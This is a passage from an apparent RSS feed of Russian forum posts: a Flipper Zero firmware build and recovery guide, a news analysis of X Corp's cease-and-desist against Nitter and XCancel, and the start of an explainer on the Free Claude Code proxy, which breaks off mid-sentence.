    ViewPort* view_port = view_port_alloc();
    view_port_draw_callback_set(view_port, gig_hello_draw_callback, NULL);
    view_port_input_callback_set(view_port, gig_hello_input_callback, queue);

    Gui* gui = furi_record_open(RECORD_GUI);
    gui_add_view_port(gui, view_port, GuiLayerFullscreen);

    InputEvent event;
    bool running = true;
    while(running) {
        if(furi_message_queue_get(queue, &amp;event, FuriWaitForever) == FuriStatusOk) {
            if(event.type == InputTypeShort &amp;&amp; event.key == InputKeyBack) {
                running = false;
            }
        }
    }

    gui_remove_view_port(gui, view_port);
    furi_record_close(RECORD_GUI);
    view_port_free(view_port);
    furi_message_queue_free(queue);

    return 0;
}Порядок освобождения ресурсов в финале не случаен: вьюпорт сначала снимается с GUI и лишь затем освобождается. Переставьте эти две строки — и система продолжит отрисовывать уже освобождённую структуру. Компилятор промолчит, а устройство перезагрузится прямо в руках. Для сборки достаточно вызвать ufbt без параметров: $ ufbt
    CC      /tmp/fz/gig_hello.c
    LINK    /root/.ufbt/build/gig_hello_d.elf
    FAP     /root/.ufbt/build/gig_hello.fap
    INSTALL /tmp/fz/dist/gig_hello.fap
    APPCHK  /root/.ufbt/build/gig_hello.fap
            Target: 7, API: 87.1На выходе получается dist/gig_hello.fap размером 2200 байт. Самая содержательная строка вывода — APPCHK. ⚠️ Осторожно Пара Target: 7, API: 87.1 работает как отпечаток, по которому устройство определяет, запускать приложение или нет. Первое значение — ревизия железа (7 соответствует Flipper Zero), второе — версия программного интерфейса прошивки. Прошивка с другой мажорной версией API откажется стартовать это приложение, притом что файл скопируется без единой ошибки. Вывод: собранный под стабильный канал .fap не обязан заработать на dev-сборке или форке. SDK переключается без пересоздания проекта: ufbt update --channel=dev      # или rc, или release
ufbt update --branch=1.4.3     # конкретная ветка SDKЗаливка с немедленным запуском на подключённом устройстве делается так: ufbt launchФайл копируется на SD-карту в подкаталог, указанный в fap_category, после чего приложение стартует. Обязательное условие — закрытый qFlipper: последовательный порт он занимает монопольно. Полная сборка прошивки через fbtНа этом уровне клонируется репозиторий целиком, вместе с сабмодулями. Ключ --recursive здесь не украшение, а необходимость: без него сборка развалится на недостающих библиотеках. git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git
cd flipperzero-firmware
./fbt COMPACT=1 DEBUG=0 updater_packageЗамеры с живой сборки тега 1.4.3 на контейнере с 2 vCPU и 7 ГБ RAMСо стороны первый вызов ./fbt выглядит как бездействие: проверяются tar и curl, затем скачивается архив тулчейна и распаковывается в ./toolchain прямо внутри репозитория. Системные пакеты не ставятся вообще — компилятор соседствует с исходниками, и вся сборочная среда сносится удалением одного каталога. Ко мне приехал arm-none-eabi-gcc (GCC) 12.3.1. На двух ядрах чистая пересборка после ./fbt -c уложилась в 144 секунды. Для проекта с 700 МБ исходников это неожиданно быстро — но основную долю объёма составляют сабмодули, до целевого образа не доходящие. Смысл флагов COMPACT и DEBUGУмолчания заданы в fbt_options.py: TARGET_HW = 7
COMPACT = 0
DEBUG = 1
DIST_SUFFIX = "local"
FIRMWARE_APP_SET = "default"
FBT_TOOLCHAIN_VERSIONS = (" 12.3.", " 13.2.")Иначе говоря, по умолчанию собирается отладочная некомпактная сборка: крупнее и медленнее, зато пригодная для пошаговой отладки. Прошивке для повседневного использования нужны противоположные значения — COMPACT=1 DEBUG=0. Артефакты и способы их залитьВ dist/f7-C у меня оказалось 11 файлов — их разбор приведён на схеме выше. Искать каталог, запоминая суффиксы, необязательно: ls -1 dist/*/ | head -20Доставить сборку на устройство можно тремя путями, и равнозначными они не являются. ./fbt flash_usb_full     # по USB, с ресурсами и радиостеком
./fbt flash              # через SWD-программатор: ST-Link, J-Link, Wi-Fi devboardТретий путь — вручную через qFlipper: берётся dist/f7-C/flipper-z-f7-update-local.tgz, в qFlipper выбирается «Install from file». Когда уверенности в сборке нет, лучше идти именно так — целостность пакета проверяется до начала записи во флеш. ✅ Как правильно Файл fbt_options.py лучше не трогать: он под контролем версий и станет конфликтовать при каждом git pull. Рядом создаётся fbt_options_local.py, который сборка подхватывает сама: COMPACT = 1
DEBUG = 0
DIST_SUFFIX = "gig"Значение DIST_SUFFIX уходит в имена артефактов и в поле Info внутри пакета обновления — свои сборки потом отличаются от официальных с первого взгляда. ⛔ Так делать нельзя Во время flash_usb_full нельзя ни выдёргивать кабель, ни позволять ноутбуку уснуть. Обновление радиостека Core2 идёт отдельной фазой, и обрыв именно на ней превращает устройство в кирпич вернее всего остального, о чём говорится в этом руководстве. Форк: те же команды, другая ответственностьСборка Momentum и Unleashed идёт теми же целями fbt, что и у официальной прошивки: ./fbt updater_package даёт TGZ, ./fbt flash_usb_full заливает напрямую. С технической стороны отличий практически нет — клонируется другой репозиторий, команды те же самые. Отличие лежит в иной плоскости. Unleashed открыто заявляет о снятии региональных TX-ограничений и добавлении частот Sub-GHz, а документация проекта сопровождает это предупреждением: расширение диапазона через файл настроек «может повредить железо Flipper». Формулировка не для красоты — антенный тракт и усилитель проектировались под определённые полосы. 🔒 Безопасность Региональные ограничения официальной прошивки отражают тот факт, что радиодиапазоны распределены по странам по-разному, а не вендорскую вредность. Передача на неразрешённой в вашей юрисдикции частоте образует административное нарушение вне зависимости от содержания передачи. Со сборкой форка вся эта ответственность переходит на вас: ни производителя, ни автора форка в схеме больше нет. Потерянная гарантия здесь — наименьшая из возможных потерь. Устройство перестало включатьсяЕсть и хорошая новость: прошивка живёт в основном контроллере STM32WB55, загрузчик в нём отдельный, и угробить его пользовательской сборкой практически нереально. Процедура восстановления описана в официальной документации и сводится к двум комбинациям клавиш. ✅ Как правильно Устройство включается, но обновление не проходит. Зажать влево + назад на 5 секунд, отпустить «назад» и продолжать удерживать «влево», пока не загорится синий светодиод. Устройство не подаёт признаков жизни. Зажать OK + назад на 30 секунд. Пустой экран в этот момент — нормальное поведение. Дальше компьютер обязан увидеть DFU-устройство, а qFlipper — показать кнопку Repair, выполняющую установку прошивки с нуля. Не появляется DFU-устройство в системе — причина уже не в прошивке, а в кабеле или питании. Проверьте заведомо исправным кабелем, желательно не «зарядным». Первоисточникиflipperdevices/flipperzero-firmware — официальный репозиторий и READMEdocumentation/fbt.md — цели и переменные окружения FBTdocumentation/AppManifests.md — поля манифеста application.famflipperdevices/flipperzero-ufbt — установка, команды и переключение каналов SDKupdate.flipperzero.one/firmware/directory.json — официальный канал обновленийFirmware recovery — официальная документация по восстановлениюNext-Flip/Momentum-FirmwareDarkFlippers/unleashed-firmware💬 Вопрос к сообществу До какого уровня добрались вы — свой .fap, правка официальной прошивки или форк? И вопрос к тем, кто пересобирает регулярно: тулчейн остаётся внутри репозитория или вынесен через FBT_TOOLCHAIN_PATH в общий каталог, чтобы не качать 1,2 ГБ на каждый новый клон?]]></description><pubDate>Wed, 26 Aug 2026 19:58:23 +0000</pubDate></item><item><title>&#x41F;&#x440;&#x43E;&#x442;&#x438;&#x432; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x43D;&#x435;&#x442; &#x444;&#x43E;&#x440;&#x43A;&#x430;: &#x447;&#x435;&#x43C; &#x43F;&#x430;&#x434;&#x435;&#x43D;&#x438;&#x435; Nitter &#x43E;&#x442;&#x43B;&#x438;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x442; &#x43F;&#x440;&#x435;&#x436;&#x43D;&#x438;&#x445; &#x431;&#x43B;&#x43E;&#x43A;&#x438;&#x440;&#x43E;&#x432;&#x43E;&#x43A;</title><link><![CDATA[https://openode.xyz/topic/2061-%D0%BF%D1%80%D0%BE%D1%82%D0%B8%D0%B2-%D0%BF%D0%B8%D1%81%D1%8C%D0%BC%D0%B0-%D0%BD%D0%B5%D1%82-%D1%84%D0%BE%D1%80%D0%BA%D0%B0-%D1%87%D0%B5%D0%BC-%D0%BF%D0%B0%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-nitter-%D0%BE%D1%82%D0%BB%D0%B8%D1%87%D0%B0%D0%B5%D1%82%D1%81%D1%8F-%D0%BE%D1%82-%D0%BF%D1%80%D0%B5%D0%B6%D0%BD%D0%B8%D1%85-%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BE%D0%BA/?do=findComment&comment=9231]]></link><description><![CDATA[Открытые зеркала X перестали работать не из-за очередного ужесточения лимитов. 24 августа 2026 года адвокаты X Corp. направили cease and desist самому проекту Nitter, операторам его публичных копий и сервисам, собранным на его исходниках, — среди них оказался и XCancel. Утром 26 августа домены nitter.net и xcancel.com уже не отзываются. Сопровождающий проекта, выступающий под ником zedeus, факт получения письма признал, но обсуждать его отказался: «I'm seeking legal advice and won't be commenting further». Инструмент, о котором идёт речь, для многих был не развлечением, а частью инфраструктуры: посты X он выдавал без авторизации и без JavaScript, а к каждому профилю прикладывал RSS. Отсюда и разброс мест, где он прописан, — ридеры, системы мониторинга, автоматизации в Home Assistant. Что именно требуютФормулировку требования обнародовал сам сопровождающий: «demanding a permanent takedown of Nitter instances and the project's repository». Речь, таким образом, не только о работающих копиях — удалить предлагается и исходники на GitHub. Пока это требование не исполнено. Репозиторий github.com/zedeus/nitter открывается, отметок об архивации на нём нет, счётчик показывает 13,1 тыс. звёзд. ℹ️ Справка Направленное письмо и поданный иск — разные вещи. X Corp. обозначила претензию и перечислила нормы, на которые опирается; проверки этих доводов судом не было. Ниже разбирается именно логика письма. Календарь событий24 августа, ориентировочно 20:00 EST — письма доставлены адресатам (по данным Notebookcheck).25 августа, 17:00 EST — срок, отведённый на реакцию; изданию TechCrunch, видевшему документ, это дало основание оценить окно примерно в 21 час.25 августа — в issue #1442 фиксируется, что публичные инстансы поголовно отдают Instance has been rate limited.26 августа — оба ключевых домена молчат.Техасский трекФормулировка § 33.02 Уголовного кодекса Техаса охватывает очень широкий круг ситуаций: «A person commits an offense if the person knowingly accesses a computer, computer network, or computer system without the effective consent of the owner». Вес несёт оборот effective consent: согласно § 33.01(12), согласие считается недействительным и тогда, когда полученный доступ применяется шире, чем владелец разрешал. Уголовная норма работает здесь как опора для гражданского иска. § 143.001 Civil Practice &amp; Remedies Code открывает такую возможность пострадавшему, если нарушение главы 33 было knowingly или intentionally, а по § 143.002 к взысканию предъявляются реальный ущерб и юридические издержки. Трек по товарным знакамВторая опора письма — §§ 1114 и 1125 Lanham Act: права на зарегистрированный знак и ложное обозначение происхождения. Детализации по этому пункту в доступных пересказах документа нет, поэтому реконструировать за юристов X ход их мысли не стану. Отсылка к делу Bright Data и почему она мимоПервое, что вспоминают в обсуждениях, — X Corp. v. Bright Data. В мае 2024 года судья Уильям Алсап (N.D. Cal., дело C 23-03698 WHA) отказал X в претензиях к скрейперу: попытка через пользовательское соглашение запретить сбор общедоступных сведений наталкивается на преимущественную силу федерального авторского права. С тех пор формула «сбор публичных данных законен» гуляет по обсуждениям в качестве универсального довода. Только Nitter находится в ином положении. Анонимно он не работает с 2024 года, о чём README сообщает без обиняков: «Running a Nitter instance now requires real accounts, since Twitter removed the previous methods». За каждой действующей копией стоят настоящие учётные записи X вместе с сессионными токенами. Претензия построена именно на этом: не на чтении открытой страницы, а на доступе к аккаунтам и session-токенам мимо API. Дискуссия об общедоступных данных и дискуссия об effective consent под чужими сессиями — не одно и то же. 🔒 Безопасность Установка своего Nitter когда-то сводилась к запуску контейнера. Сегодня она предполагает боевые учётные записи X, от имени которых ходит ваш сервер, — и как раз эта подробность переводит домашний эксперимент в разряд того, что X квалифицирует как нарушение. Письма ушли не одному проекту: их получили и владельцы отдельных зеркал. Проверка своего хозяйстваКоварство отвалившейся RSS-ленты — в отсутствии сигнала: ридер продолжает работать, новых записей просто нет, и внешне это неотличимо от затишья у источника. ⚠️ Осторожно Пройдитесь по конфигурации ридеров, файлу configuration.yaml в Home Assistant, файлам docker-compose.yml и скриптам мониторинга: grep -rIn --exclude-dir=.git -E 'nitter|xcancel' \
  /opt /srv /etc ~/.config 2&gt;/dev/nullСостояние отдельной ленты проще всего определять по коду ответа: всё, кроме 200, средствами ридера не чинится: curl -sS -o /dev/null -w '%{http_code}\n' https://xcancel.com/&lt;профиль&gt;/rssЧто до фиксации отдельной публикации в качестве доказательства — здесь зеркала не годились и раньше: открытая у вас в браузере страница ничего не удостоверяет. Работающий подход — публичный архиватор с независимой временной меткой (Wayback Machine, archive.today) и сохранённая ссылка на снимок. ❗ Главное Причина падения Nitter лежит не в технической плоскости. Против письма не помогают ни форк, ни прокси. Закладывать в фундамент рабочего пайплайна проект с единственным сопровождающим и правовым статусом «до суда пока не доходило» — плохая идея. ПервоисточникиX sends cease-and-desist to open source project Nitter — TechCrunch, 25.08.2026XCancel gets taken down as X Corp sends cease-and-desist letter — NotebookcheckЦитата zedeus о содержании письма — Pixel EnvyIssue #1442: All public nitter instances do not workTexas Civil Practice &amp; Remedies Code, ch. 143Texas Penal Code, ch. 33X loses lawsuit against Bright Data — CNBC, 10.05.2024Репозиторий проекта Nitter💬 Вопрос к сообществу Если Nitter или XCancel были частью вашего рабочего контура — что именно у вас отвалилось и чем задача закрывается сейчас? Отдельно интересно мнение тех, кто держал собственный инстанс на живых аккаунтах: сносите или выжидаете?]]></description><pubDate>Wed, 26 Aug 2026 09:18:05 +0000</pubDate></item><item><title>49 &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x437;&#x432;&#x451;&#x437;&#x434; &#x437;&#x430; &#x43F;&#x43E;&#x434;&#x43C;&#x435;&#x43D;&#x443; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430;: &#x440;&#x430;&#x437;&#x431;&#x438;&#x440;&#x430;&#x435;&#x43C; Free Claude Code</title><link><![CDATA[https://openode.xyz/topic/2060-49-%D1%82%D1%8B%D1%81%D1%8F%D1%87-%D0%B7%D0%B2%D1%91%D0%B7%D0%B4-%D0%B7%D0%B0-%D0%BF%D0%BE%D0%B4%D0%BC%D0%B5%D0%BD%D1%83-%D0%BE%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE-%D0%B0%D0%B4%D1%80%D0%B5%D1%81%D0%B0-%D1%80%D0%B0%D0%B7%D0%B1%D0%B8%D1%80%D0%B0%D0%B5%D0%BC-free-claude-code/?do=findComment&comment=9230]]></link><description>&#x410;&#x433;&#x435;&#x43D;&#x442; Claude Code, &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x44E;&#x449;&#x438;&#x439; &#x43F;&#x43E;&#x432;&#x435;&#x440;&#x445; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438; FCC. &#x418;&#x43B;&#x43B;&#x44E;&#x441;&#x442;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x438;&#x437; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;.

&#x417;&#x430; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x438;&#x435;&#x43C; &#xAB;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; Claude Code &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x43E;&#xBB; &#x441;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;, &#x441;&#x43E;&#x431;&#x440;&#x430;&#x432;&#x448;&#x438;&#x439; 49,2 &#x442;&#x44B;&#x441;&#x44F;&#x447;&#x438; &#x437;&#x432;&#x451;&#x437;&#x434; &#x438; 8 &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x444;&#x43E;&#x440;&#x43A;&#x43E;&#x432; &#x2014; Free Claude Code, &#x43E;&#x43D; &#x436;&#x435; FCC, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439; &#x43A;&#x43E;&#x434; &#x43F;&#x43E;&#x434; MIT. &#x414;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430; &#x43A; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44F;&#x43C; Anthropic &#x43E;&#x43D;, &#x432;&#x43F;&#x440;&#x43E;&#x447;&#x435;&#x43C;, &#x43D;&#x438;&#x43A;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#x43D;&#x435; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442;. &#x423;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D;&#x43E; &#x438;&#x43D;&#x430;&#x447;&#x435;: &#x43D;&#x430; &#x43C;&#x430;&#x448;&#x438;&#x43D;&#x435; &#x43F;&#x43E;&#x434;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438;, &#x43D;&#x430;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x43D;&#x44B;&#x439; &#x43D;&#x430; Python, &#x430;&#x433;&#x435;&#x43D;&#x442;&#x443; &#x43F;&#x43E;&#x434;&#x441;&#x43E;&#x432;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x439; &#x430;&#x434;&#x440;&#x435;&#x441; API, &#x438; &#x442;&#x440;&#x430;&#x444;&#x438;&#x43A; &#x443;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x43A; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x438;&#x43C; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x430;&#x43C; &#x2014; DeepSeek, Groq, OpenRouter, NVIDIA NIM, Kimi, Cerebras, Mistral, Ollama, &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x434;&#x43B;&#x438;&#x43D;&#x43D;&#x44B;&#x439;. 

&#x41D;&#x438;&#x436;&#x435; &#x2014; &#x438;&#x437; &#x447;&#x435;&#x433;&#x43E; &#x441;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x44D;&#x442;&#x430; &#x43F;&#x43E;&#x434;&#x43C;&#x435;&#x43D;&#x430;, &#x433;&#x434;&#x435; &#x432; &#x441;&#x445;&#x435;&#x43C;&#x435; &#x437;&#x430;&#x43A;&#x430;&#x43D;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x43E;&#x435; &#x438; &#x43A;&#x430;&#x43A;&#x443;&#x44E; &#x446;&#x435;&#x43D;&#x443; &#x437;&#x430; &#x43D;&#x435;&#x433;&#x43E; &#x431;&#x435;&#x440;&#x443;&#x442;. 

&#x2757; &#x413;&#x43B;&#x430;&#x432;&#x43D;&#x43E;&#x435; 
&#x41F;&#x440;&#x435;&#x436;&#x434;&#x435; &#x447;&#x435;&#x43C; &#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C;, &#x443;&#x43B;&#x43E;&#x436;&#x438;&#x442;&#x435; &#x432; &#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x435; &#x43E;&#x434;&#x43D;&#x443; &#x432;&#x435;&#x449;&#x44C;: &#x434;&#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x432;&#x430;&#x43C; &#x43E;&#x431;&#x43E;&#x43B;&#x43E;&#x447;&#x43A;&#x430; Claude Code, &#x430; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x438; &#x2014; &#x43D;&#x435;&#x442;. &#x41D;&#x438;&#x43A;&#x430;&#x43A;&#x43E;&#x433;&#x43E; Opus &#x438;&#x43B;&#x438; Sonnet &#x437;&#x430; &#x44D;&#x442;&#x438;&#x43C; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438; &#x43D;&#x435; &#x432;&#x43E;&#x437;&#x43D;&#x438;&#x43A;&#x43D;&#x435;&#x442;; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x442;&#x44C; &#x431;&#x443;&#x434;&#x435;&#x442; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x442;&#x430; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44C;, &#x447;&#x435;&#x439; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x439; &#x442;&#x430;&#x440;&#x438;&#x444; &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x451;&#x43D; &#x432;&#x430;&#x43C;&#x438; &#x432;&#x440;&#x443;&#x447;&#x43D;&#x443;&#x44E;. &#x418;&#x43C;&#x44F; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x438;&#x442;&#x441;&#x44F; &#x43A; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x443;, &#x430; &#x43D;&#x435; &#x43A; &#x442;&#x43E;&#x43C;&#x443;, &#x447;&#x442;&#x43E; &#x441;&#x447;&#x438;&#x442;&#x430;&#x435;&#x442; &#x43D;&#x430; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x43C; &#x43A;&#x43E;&#x43D;&#x446;&#x435;. 


&#x414;&#x432;&#x435; &#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x43E;&#x43A;&#x440;&#x443;&#x436;&#x435;&#x43D;&#x438;&#x44F; &#x2014; &#x438; &#x432;&#x435;&#x441;&#x44C; &#x444;&#x43E;&#x43A;&#x443;&#x441;

&#x41E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x441;&#x43A;&#x440;&#x438;&#x43D;&#x448;&#x43E;&#x442; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x43E;&#x431;&#x44A;&#x44F;&#x441;&#x43D;&#x44F;&#x435;&#x442; &#x43C;&#x435;&#x445;&#x430;&#x43D;&#x438;&#x43A;&#x443; &#x43B;&#x443;&#x447;&#x448;&#x435; &#x43B;&#x44E;&#x431;&#x43E;&#x433;&#x43E; &#x430;&#x431;&#x437;&#x430;&#x446;&#x430;: 

$env:ANTHROPIC_BASE_URL="http://localhost:8082"; $env:ANTHROPIC_AUTH_TOKEN="ccnim"; claude

&#x425;&#x43E;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x432; api.anthropic.com &#x434;&#x43B;&#x44F; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x430; Claude Code &#x43D;&#x435; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x2014; &#x43D;&#x430; &#x44D;&#x442;&#x43E;&#x439; &#x436;&#x435; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x43F;&#x43E;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D;&#x44B; &#x448;&#x442;&#x430;&#x442;&#x43D;&#x44B;&#x435; &#x438;&#x43D;&#x442;&#x435;&#x433;&#x440;&#x430;&#x446;&#x438;&#x438; &#x441; Amazon Bedrock &#x438; Google Vertex AI. &#x41C;&#x435;&#x441;&#x442;&#x43E; &#x442;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#x431;&#x44D;&#x43A;&#x435;&#x43D;&#x434;&#x430; &#x438; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; FCC: &#x43D;&#x430; localhost:8082 &#x441;&#x43B;&#x443;&#x448;&#x430;&#x435;&#x442; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;, &#x43F;&#x43E;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x449;&#x438;&#x439; &#x43F;&#x440;&#x43E;&#x442;&#x43E;&#x43A;&#x43E;&#x43B; Anthropic API, &#x437;&#x430;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441;&#x44B; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x430; &#x438; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x438;&#x445; &#x432;&#x44B;&#x431;&#x440;&#x430;&#x43D;&#x43D;&#x43E;&#x43C;&#x443; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x443;. &#x422;&#x43E;&#x43A;&#x435;&#x43D; &#x430;&#x432;&#x442;&#x43E;&#x440;&#x438;&#x437;&#x430;&#x446;&#x438;&#x438; &#x433;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x43B;&#x44E;&#x431;&#x43E;&#x439; &#x2014; &#x441;&#x432;&#x435;&#x440;&#x44F;&#x435;&#x442; &#x435;&#x433;&#x43E; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438;, Anthropic &#x442;&#x443;&#x442; &#x43D;&#x435; &#x443;&#x447;&#x430;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442;. 

&#x412; VS Code &#x442;&#x43E; &#x436;&#x435; &#x441;&#x430;&#x43C;&#x43E;&#x435; &#x43F;&#x440;&#x43E;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x430;&#x43C;&#x438; &#x440;&#x430;&#x441;&#x448;&#x438;&#x440;&#x435;&#x43D;&#x438;&#x44F;, &#x433;&#x434;&#x435; &#x432;&#x441;&#x43F;&#x43B;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x435;&#x449;&#x451; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x44B;&#x445;: 

"claudeCode.environmentVariables": [
  { "name": "ANTHROPIC_BASE_URL", "value": "http://localhost:8082" },
  { "name": "ANTHROPIC_AUTH_TOKEN", "value": "freecc" },
  { "name": "CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY", "value": "1" },
  { "name": "DISABLE_AUTOUPDATER", "value": "1" },
  { "name": "DISABLE_ERROR_REPORTING", "value": "1" }
]

&#x418;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY &#x43D;&#x430;&#x43F;&#x43E;&#x43B;&#x43D;&#x44F;&#x435;&#x442; &#x448;&#x442;&#x430;&#x442;&#x43D;&#x44B;&#x439; &#x43F;&#x438;&#x43A;&#x435;&#x440; /model &#x447;&#x443;&#x436;&#x438;&#x43C; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x43E;&#x43C;. &#x421;&#x443;&#x434;&#x44F; &#x43F;&#x43E; &#x441;&#x43A;&#x440;&#x438;&#x43D;&#x448;&#x43E;&#x442;&#x443; &#x430;&#x432;&#x442;&#x43E;&#x440;&#x43E;&#x432;, &#x43F;&#x43E;&#x437;&#x438;&#x446;&#x438;&#x439; &#x442;&#x430;&#x43C; &#x437;&#x430; &#x43F;&#x44F;&#x442;&#x44C; &#x441;&#x43E;&#x442;&#x435;&#x43D;, &#x43A;&#x430;&#x436;&#x434;&#x430;&#x44F; &#x43F;&#x43E;&#x43C;&#x435;&#x447;&#x435;&#x43D;&#x430; &#x43A;&#x430;&#x43A; &#xAB;From gateway&#xBB;. 

&#x41A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430; /model &#x438; 508 &#x441; &#x43B;&#x438;&#x448;&#x43D;&#x438;&#x43C; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442;&#x43E;&#x432; &#xAB;From gateway&#xBB;. &#x418;&#x43B;&#x43B;&#x44E;&#x441;&#x442;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x438;&#x437; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F;.

&#x41F;&#x43E;&#x441;&#x43B;&#x435;&#x434;&#x43D;&#x438;&#x435; &#x441;&#x442;&#x440;&#x43E;&#x447;&#x43A;&#x438; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x430; &#x442;&#x43E;&#x436;&#x435; &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;: &#x433;&#x430;&#x441;&#x44F;&#x442;&#x441;&#x44F; &#x430;&#x432;&#x442;&#x43E;&#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435;, &#x43E;&#x442;&#x447;&#x451;&#x442;&#x44B; &#x43E;&#x431; &#x43E;&#x448;&#x438;&#x431;&#x43A;&#x430;&#x445; &#x438; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430; &#x43E;&#x431;&#x440;&#x430;&#x442;&#x43D;&#x43E;&#x439; &#x441;&#x432;&#x44F;&#x437;&#x438;. &#x414;&#x43B;&#x44F; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x44B; &#x447;&#x435;&#x440;&#x435;&#x437; 